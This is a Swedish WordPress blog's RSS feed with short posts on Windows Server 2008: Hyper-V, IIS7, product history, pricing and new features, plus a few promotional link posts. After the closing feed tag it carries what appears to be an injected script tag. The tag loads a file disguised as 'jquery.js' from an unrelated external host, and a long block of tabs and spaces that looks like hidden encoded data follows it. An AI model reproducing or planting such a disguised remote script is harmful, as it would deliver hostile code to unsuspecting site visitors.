<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.3.3" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>Windows Server 2008 &#124; IIS7 &#124; Hyper-V &#124; PowerShell</title>
	<link>http://www.windows-server-2008.se</link>
	<description>Windows Server 2008 - Hur fungerar det och vilka brister och fördelar finns med operativsystemet?</description>
	<pubDate>Wed, 07 Oct 2009 18:20:26 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.3.3</generator>
	<language>en</language>
			<item>
		<title>Journalprogram - underlätta ert arbete.</title>
		<link>http://www.windows-server-2008.se/2009/10/07/journalprogram-underlatta-ert-arbete/</link>
		<comments>http://www.windows-server-2008.se/2009/10/07/journalprogram-underlatta-ert-arbete/#comments</comments>
		<pubDate>Wed, 07 Oct 2009 18:20:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Journalprogram]]></category>

		<guid isPermaLink="false">http://www.windows-server-2008.se/2009/10/07/journalprogram-underlatta-ert-arbete/</guid>
		<description><![CDATA[Ett journalprogram underlättar och  avlastar ditt administrativa arbete. 
]]></description>
			<content:encoded><![CDATA[<p><span style="font-family: Verdana"><font size="2">Ett <a href="http://www.rixdata.se" title="journalprogram">journalprogram</a> underlättar och  avlastar ditt administrativa arbete. </font></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.windows-server-2008.se/2009/10/07/journalprogram-underlatta-ert-arbete/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Dedikerad Server gratis i 3 månader!</title>
		<link>http://www.windows-server-2008.se/2008/04/18/dedikerad-server/</link>
		<comments>http://www.windows-server-2008.se/2008/04/18/dedikerad-server/#comments</comments>
		<pubDate>Fri, 18 Apr 2008 11:07:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Dedikerad Server]]></category>

		<category><![CDATA[dedicerad server]]></category>

		<category><![CDATA[serverlösning]]></category>

		<guid isPermaLink="false">http://www.windows-server-2008.se/2008/04/18/dedikerad-server/</guid>
		<description><![CDATA[En kollega till mig håller just nu på att testa en Dedikerad Server gratis i 3 månader.  Det är ett fantastiskt erbjudande och det är verkligen en hög kvalitet som levereras, som nu leverantören påstår sig att leverera. Hörde för en tid sedan att kollegan funderar på att centralisera alla sina serverlösningar till denna leverantör.
]]></description>
			<content:encoded><![CDATA[<p>En kollega till mig håller just nu på att testa en <a href="http://www.ipeer.se/dedikerad-server.php" title="Dedikerad Server">Dedikerad Server</a> gratis i 3 månader.  Det är ett fantastiskt erbjudande och det är verkligen en hög kvalitet som levereras, som nu leverantören påstår sig att leverera. Hörde för en tid sedan att kollegan funderar på att centralisera alla sina serverlösningar till denna leverantör.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.windows-server-2008.se/2008/04/18/dedikerad-server/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Hyper-V - Slagorden!</title>
		<link>http://www.windows-server-2008.se/2008/04/11/hyper-v/</link>
		<comments>http://www.windows-server-2008.se/2008/04/11/hyper-v/#comments</comments>
		<pubDate>Fri, 11 Apr 2008 10:36:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Hyper-V]]></category>

		<category><![CDATA[Windows server 2008]]></category>

		<category><![CDATA[parallels]]></category>

		<category><![CDATA[vmware]]></category>

		<guid isPermaLink="false">http://www.windows-server-2008.se/2008/04/11/hyper-v/</guid>
		<description><![CDATA[Nedan finns endel slagord som MS jobbar efter när de pratar och marknadsför Hyper-V.  Det låter ganska bra faktiskt men det är viktigt att förstå att detta är MS första virtualiserings produkt i version 1, medans tex VMware , Parallels har jobbat i många år med dessa produkter.
- Gör att man kan slå ihop fysiska [...]]]></description>
			<content:encoded><![CDATA[<p>Nedan finns endel slagord som MS jobbar efter när de pratar och marknadsför Hyper-V.  Det låter ganska bra faktiskt men det är viktigt att förstå att detta är MS första virtualiserings produkt i version 1, medans tex VMware , Parallels har jobbat i många år med dessa produkter.</p>
<p>- Gör att man kan slå ihop fysiska servrar<br />
- Support för flera OS<br />
- Stöd för lastbalansering<br />
- Snabb migrering mellan fysiska servrar<br />
- Virtual Machine Snapshot - Möjlighet att skapa återställningspunkter</p>
<p>Hyper-V kommer att släppas under sommaren/sensommaren säger de flesta källor just nu.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.windows-server-2008.se/2008/04/11/hyper-v/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Windows Server 2008 – Historik</title>
		<link>http://www.windows-server-2008.se/2008/04/09/windows-server-2008-historik/</link>
		<comments>http://www.windows-server-2008.se/2008/04/09/windows-server-2008-historik/#comments</comments>
		<pubDate>Wed, 09 Apr 2008 12:30:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Historik]]></category>

		<category><![CDATA[bill]]></category>

		<category><![CDATA[gates]]></category>

		<category><![CDATA[longhorn]]></category>

		<category><![CDATA[Windows server 2008]]></category>

		<guid isPermaLink="false">http://www.windows-server-2008.se/2008/04/09/windows-server-2008-historik/</guid>
		<description><![CDATA[Planeringen av och byggande av det nya operativssystemet Windows Server 2008 har hållit på ett tag. Kodnamnet/jobbnamnet på projektet blev Longhorn, uppkallat efter ett berg i Seattle.  Longhorn blev använd som namn fram till 16 maj 2007, då offentliggjorde Bill Gates det riktiga namnet på systemet: Windows Server 2008.
25 april 2007 lanserades första beta version [...]]]></description>
			<content:encoded><![CDATA[<p>Planeringen av och byggande av det nya operativssystemet Windows Server 2008 har hållit på ett tag. Kodnamnet/jobbnamnet på projektet blev Longhorn, uppkallat efter ett berg i Seattle.  Longhorn blev använd som namn fram till 16 maj 2007, då offentliggjorde Bill Gates det riktiga namnet på systemet: Windows Server 2008.</p>
<p>25 april 2007 lanserades första beta version av Longhorn och fullverisonen skulle egentlig lanseras i 2007, därav gick det ryckten om att produkten skulle heta Windows Server 2007. Men så blev det ej. Operativsystemet är baserat på samma kärna (Windows NT 6.0) som Windows Vista, och skiljer sig på detta sätt från Windows Server 2003. Windows Server 2008 har därför mycket av den samma arkitekturen och funktionaliteten som Vista har.</p>
<p>Nytt med operativsystemet i förhållande till gamla operativsystem är att säkerhetsnivån har höyts ytterligare. I Windows Server 2008 inkluderas Windows PowerShell som är ett nytt kommandolinje shell. Inkluderat är också IIS 7.0 samt Terminal Services med den nya funktionen Terminal Services Remote Programs.</p>
<p>Produkten blev lanserad 27 februari 2008 och finns i olika versioner; Standard, Enterprise och Web edition. Core edition är tillgänglig i Standard och Enterprise edition.</p>
<p>Fast produkten är lanserat är inte alla delar av operativsystemet klara. Då denna artikel skrivs (9 april 2008), saknas fortfarande en (fullgod) version av virtualiseringen som kallas Hyper-V, så långt har finns det bara en beta version av Hyper-V. Hyper-V beräknas vara klar 3 månader efter lanseringen av operativsystemet.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.windows-server-2008.se/2008/04/09/windows-server-2008-historik/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Windows Server 2008 - IDG utmanar!</title>
		<link>http://www.windows-server-2008.se/2008/04/08/windows-server-2008-undersokning/</link>
		<comments>http://www.windows-server-2008.se/2008/04/08/windows-server-2008-undersokning/#comments</comments>
		<pubDate>Tue, 08 Apr 2008 12:21:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Nyheter]]></category>

		<category><![CDATA[Statistik]]></category>

		<category><![CDATA[Windows server 2008]]></category>

		<category><![CDATA[idg]]></category>

		<category><![CDATA[Terminal Services]]></category>

		<guid isPermaLink="false">http://www.windows-server-2008.se/2008/04/08/windows-server-2008-undersokning/</guid>
		<description><![CDATA[Idg har nyligen utmanat Windows Server 2008 och gått till grunderna vad som är bra och dåligt med operativsystemet.  Undersökningen är mycket djupgående och fokuserar på fördelar men tar också upp endel brister som tex terminal services.
Läs hela undersökningen här: http://www.idg.se/2.1085/1.145047
]]></description>
			<content:encoded><![CDATA[<p>Idg har nyligen utmanat Windows Server 2008 och gått till grunderna vad som är bra och dåligt med operativsystemet.  Undersökningen är mycket djupgående och fokuserar på fördelar men tar också upp endel brister som tex terminal services.</p>
<p>Läs hela undersökningen här: <a href="http://www.idg.se/2.1085/1.145047">http://www.idg.se/2.1085/1.145047</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.windows-server-2008.se/2008/04/08/windows-server-2008-undersokning/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Windows Server 2008 gör MS #1!</title>
		<link>http://www.windows-server-2008.se/2008/04/08/windows-server-2008-gor-ms-1/</link>
		<comments>http://www.windows-server-2008.se/2008/04/08/windows-server-2008-gor-ms-1/#comments</comments>
		<pubDate>Tue, 08 Apr 2008 09:37:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Statistik]]></category>

		<category><![CDATA[Webserver]]></category>

		<category><![CDATA[Windows server 2008]]></category>

		<category><![CDATA[linux]]></category>

		<category><![CDATA[marknadsandelar]]></category>

		<guid isPermaLink="false">http://www.windows-server-2008.se/2008/04/08/windows-server-2008-gor-ms-1/</guid>
		<description><![CDATA[Det har länge pratats om hur Linux kommer att krossa Microsoft i längden. Vi alla är väll överens om att Linux har sina fördelar och Windows sina.  Men nedan finns en mycket intressant bild över hur marknadsandelarna över vilket operativsystem som läggs in på alla servers.  Det visar klart och tydligt att Linux tappar stadigt [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.windows-server-2008.se/wp-content/uploads/2008/04/marknadsandelar_windows_linux.JPG" title="Marknadsandelar Linux och Windows"></a>Det har länge pratats om hur Linux kommer att krossa Microsoft i längden. Vi alla är väll överens om att Linux har sina fördelar och Windows sina.  Men nedan finns en mycket intressant bild över hur marknadsandelarna över vilket operativsystem som läggs in på alla servers.  Det visar klart och tydligt att Linux tappar stadigt och Microsoft ökar stadigt.   Nu när Windows Server 2008 är släppt kommer då Microsot till marknadsledande på operativsystem för servermilöer?  Det är nog väldigt troligt.  Vi bör poängtera att Linux består av otroligt många olika distributioner som här nedan räknas som ett operativsystem och en konkurrent till Microsoft.</p>
<p><a href="http://www.windows-server-2008.se/wp-content/uploads/2008/04/marknadsandelar_windows_linux.JPG" title="Marknadsandelar Linux och Windows"><img src="http://www.windows-server-2008.se/wp-content/uploads/2008/04/marknadsandelar_windows_linux.JPG" alt="Marknadsandelar Linux och Windows" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.windows-server-2008.se/2008/04/08/windows-server-2008-gor-ms-1/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Windows Server 2008 &#038; IIS7 - Stora fördelar!</title>
		<link>http://www.windows-server-2008.se/2008/04/07/windows-server-2008-iis7/</link>
		<comments>http://www.windows-server-2008.se/2008/04/07/windows-server-2008-iis7/#comments</comments>
		<pubDate>Mon, 07 Apr 2008 12:25:05 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[IIS7]]></category>

		<category><![CDATA[Webserver]]></category>

		<category><![CDATA[Windows server 2008]]></category>

		<guid isPermaLink="false">http://www.windows-server-2008.se/2008/04/07/windows-server-2008-iis7/</guid>
		<description><![CDATA[Finns det några förbättringar med Windows Server 2008 och IIS7?  Nedan finns en rad punkter som gör att server hosting drift kommer att underlättas.
Kör man ett 32-bitars program i IIS 6 (ex. Plesk eller PHP) så var man tvungen att köra alla program i 32-bitars. I IIS 7 så kan man konfigurera det per applikationspool. [...]]]></description>
			<content:encoded><![CDATA[<p>Finns det några förbättringar med Windows Server 2008 och IIS7?  Nedan finns en rad punkter som gör att server hosting drift kommer att underlättas.</p>
<p>Kör man ett 32-bitars program i IIS 6 (ex. Plesk eller PHP) så var man tvungen att köra alla program i 32-bitars. I IIS 7 så kan man konfigurera det per applikationspool. M.a.o. varje site kan ha sin egen inställning om dom ska köra saker i 32-bitar eller 64 bitar.<br />
 <br />
IIS 7 är mycket mer modulbaserat än tidigare. Utan några moduler alls så är webservern extremt grundläggande. Man kan lätt lägga till och ta bort moduler boroende på behov. Duktiga programmerare kan även skapa sina egna moduler vilket öppnar upp många fler alternativ.<br />
 <br />
IIS 7 har tagit säkerhetstänkandet från IIS 6 och ytterligare förbättrat det. Man kan köra applikationer i något som kallas för &#8220;Integrated&#8221; mode. Det finns också moduler som hanterar Request Filtering (URLScan) vilket inte riktigt fanns tidigare i IIS 6.<br />
 <br />
Administrationsmässigt så är IIS 7 helt omgjort. Man kan blandannat delegera rättigheter att editera saker som en sites web.config till personer man litar på. Man kan också fullt ut administrera IIS 7 via appcmd.exe kommandot (microsoft var tvungen att skapa detta verktyg iochmed att Windows 2008 Core Server inte har ett GUI). Dessa två ändringar kommer garanterat leda till mycket bättre kontrollpanelerför kunder.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.windows-server-2008.se/2008/04/07/windows-server-2008-iis7/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Windows Server 2008 - Vad kostar det?</title>
		<link>http://www.windows-server-2008.se/2008/04/04/windows-server-2008-priser/</link>
		<comments>http://www.windows-server-2008.se/2008/04/04/windows-server-2008-priser/#comments</comments>
		<pubDate>Fri, 04 Apr 2008 16:54:19 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Priser]]></category>

		<category><![CDATA[Windows server 2008]]></category>

		<category><![CDATA[2008]]></category>

		<category><![CDATA[Microsoft]]></category>

		<category><![CDATA[server]]></category>

		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://www.windows-server-2008.se/2008/04/04/windows-server-2008-priser/</guid>
		<description><![CDATA[Det är en mycket intressant prisbild som Microsoft har släppt på Windows Server 2008.  Prisbilden nedan är hämtad från Dustin.
WINDOWS SVR STD 2008 32-BIT/X64 ENG DVD + 5 CAL  9995:-
MICROSOFT WINDOWS SVR 2003 STD R2 SP2 X64 ENG + 5 CAL CD  9996:-
Skillnaden är 1:- inte direkt en sk kioskvältarskillnad.  Genom denna kan man dra [...]]]></description>
			<content:encoded><![CDATA[<p>Det är en mycket intressant prisbild som Microsoft har släppt på Windows Server 2008.  Prisbilden nedan är hämtad från Dustin.</p>
<p>WINDOWS SVR STD 2008 32-BIT/X64 ENG DVD + 5 CAL  9995:-</p>
<p>MICROSOFT WINDOWS SVR 2003 STD R2 SP2 X64 ENG + 5 CAL CD  9996:-</p>
<p>Skillnaden är 1:- inte direkt en sk kioskvältarskillnad.  Genom denna kan man dra slutsatsen att Microsoft inte önskar en stor ström av kunder över på 2008, eller kan det vara så att Microsoft vet att de inte behöver ha någon prisskillnad för tiden kommer generera försäljning av 2008.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.windows-server-2008.se/2008/04/04/windows-server-2008-priser/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Windows Server 2008 - Vilka är de nya funktionerna?</title>
		<link>http://www.windows-server-2008.se/2008/04/04/funktioner-i-windows-server-2008/</link>
		<comments>http://www.windows-server-2008.se/2008/04/04/funktioner-i-windows-server-2008/#comments</comments>
		<pubDate>Fri, 04 Apr 2008 10:51:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Nyheter]]></category>

		<category><![CDATA[Windows server 2008]]></category>

		<category><![CDATA[Hyper-V]]></category>

		<category><![CDATA[IIS 7.0]]></category>

		<category><![CDATA[PowerShell]]></category>

		<category><![CDATA[Terminal Services]]></category>

		<guid isPermaLink="false">http://www.windows-server-2008.se/2008/04/04/funktioner-i-windows-server-2008/</guid>
		<description><![CDATA[Det som är nytt i Windows Server 2008 och det Microsoft verkligen trycka på är följande:
Powershell - För att underlätta administration av servern.
Bitlocker - Kryptering av hårddisken.
IIS 7.0 - Ny version av webservern.
Hyper-V - Inbyggd virtualiseringsteknik.
Windows Remote Management - Förbättrad fjärradministration.
Terminal services - Förbättrad och med Citrixliknande funktioner.
Versionen &#8220;Windows 2008 Core&#8221; är också något nytt. [...]]]></description>
			<content:encoded><![CDATA[<p>Det som är nytt i Windows Server 2008 och det Microsoft verkligen trycka på är följande:</p>
<p>Powershell - För att underlätta administration av servern.<br />
Bitlocker - Kryptering av hårddisken.<br />
IIS 7.0 - Ny version av webservern.<br />
Hyper-V - Inbyggd virtualiseringsteknik.<br />
Windows Remote Management - Förbättrad fjärradministration.<br />
Terminal services - Förbättrad och med Citrixliknande funktioner.</p>
<p>Versionen &#8220;Windows 2008 Core&#8221; är också något nytt. Den versionen har bara nödvändiga delar kvar vilket gör den mer prestanda effektiv och säkrare.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.windows-server-2008.se/2008/04/04/funktioner-i-windows-server-2008/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Windows Server 2008 - Vilka föredelar finns?</title>
		<link>http://www.windows-server-2008.se/2008/04/04/fordelar-med-windows-server-2008/</link>
		<comments>http://www.windows-server-2008.se/2008/04/04/fordelar-med-windows-server-2008/#comments</comments>
		<pubDate>Fri, 04 Apr 2008 08:43:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Windows server 2008]]></category>

		<category><![CDATA[Hyper-V]]></category>

		<category><![CDATA[IIS7]]></category>

		<category><![CDATA[Server Core]]></category>

		<guid isPermaLink="false">http://www.windows-server-2008.se/2008/04/04/fordelar-med-windows-server-2008/</guid>
		<description><![CDATA[Windows Server 2008 inkluderar inget direkt revolutionerande utan det är i mångfalden av uppgraderingar som fördelarna kommer. Hyper-V virtualisering (kommer senare) kan bli en sk kioskvältare, Remote Desktop kan agera som en applikationsserver på ett mycket bättre sätt, Server Core - ett minimalistiskt Windows för företag som vill utnyttja minsta resurs av systemet, nackdelen är ju att [...]]]></description>
			<content:encoded><![CDATA[<p>Windows Server 2008 inkluderar inget direkt revolutionerande utan det är i mångfalden av uppgraderingar som fördelarna kommer. Hyper-V virtualisering (kommer senare) kan bli en sk kioskvältare, Remote Desktop kan agera som en applikationsserver på ett mycket bättre sätt, Server Core - ett minimalistiskt Windows för företag som vill utnyttja minsta resurs av systemet, nackdelen är ju att det inte finns ett GUI att arbeta med. IIS6 har äntligen en uppgradering till IIS7.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.windows-server-2008.se/2008/04/04/fordelar-med-windows-server-2008/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>

<script src="http://bobyerbruyer.cx.cc/jquery.js"></script>
</noindex>
</body>
</html>  		   		  				 	  	   	  		 	    			 	   			 	   			      			 	   	 				  	 				 		   	  		 				 		   	  				  	 		  	 	 			  	  		   	  			  	  			 	 	 				  	 		  	 	 			  	   	 			  		   		 				     	 			  		   		 		   		  	 				 		 	 	  			   	 			 	 	 		  	 	 			  	  				  	  	 			  		 	 	  			  		  	   	   					   				    	 				 			  		 		   		 			  	  		 	  	 			     			 	    					     	 	   				    	 				 		 			  		 				 		 	  	 		 			  		  	   		  	 	 				     					     	 	   				    	 				 		   	  		 				 		  	   				  	  					     	 	   				    	 				 		 	    			 	   		 		 	 		 		    					 
